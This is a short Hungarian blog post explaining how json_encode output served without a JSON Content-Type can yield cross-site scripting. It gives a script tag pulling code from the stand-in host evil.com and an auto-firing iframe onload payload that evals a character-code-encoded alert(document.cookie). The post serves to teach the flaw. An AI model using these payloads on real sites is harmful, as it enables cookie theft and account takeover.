XSS via json_encode

november 24th, 2015 | 0 Comments | XSS

Eltelt egy kis idő amióta nem volt új post, de mostantól megpróbálok majd gyakrabban írni.

Térjünk a lényegre: Sokan azt hiszik, hogy ha egy user által kapott értéket átküldenek egy json_encode -on akkor az bíztonságos lesz. Első ránézésre tényleg annak tűnik:


$html = '<h1>XSS</h1><script src="http://evil.com/file.js"></script>';
$re = array();
$re['html'] = $html;
echo json_encode($re);

 
{"html":"<h1>XSS<\/h1><script src=\"http:\/\/evil.com\/file.js\"><\/script>"}
 

A eleg sok karaktert nem tudunk használni, viszont ha a Content-Type nem application/json akkor a böngésző html ként fogja renderelni a JSON-t és ugyan a H1 tag kezdete rendben van a többi használhatatlan.

Számunkra az fonos, hogy bármilyen HTML tag-et elkezdhetünk, lezárni ugyan nem tudjuk, de nem is baj. Adná magát a <script> tag, viszont csak “lokális” fileokat tudunk behívni, ami nem túl hasznos.

Innen már csak egy lépés valamilyen event kihasználása, az onmouseXXX event ígéretes, csakhogy nem valami elegáns, user interaction is kell hozza, a megoldás egy régi ismerős az IFRAME :D. Az IFRAME nek ugyanis van egy automatikus eventje, az onload.


$html = "<h1>XSS</h1><iframe src='biztosan_nem_letezo_oldal_mert_gyorsabb'
onload='eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))'>";
$re = array();
$re['html'] = $html;
echo json_encode($re);

Nem használhatunk, plain JavaScriptet mert sok mindent escapel a json_encode, de atob (Base64 Decode) vagy stringFromCharCode müködik.

Eredmény


{"html":"<h1>XSS<\/h1><iframe src='biztosan_nem_letezo_oldal_mert_gyorsabb' onload='eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))'>

Leave a Comment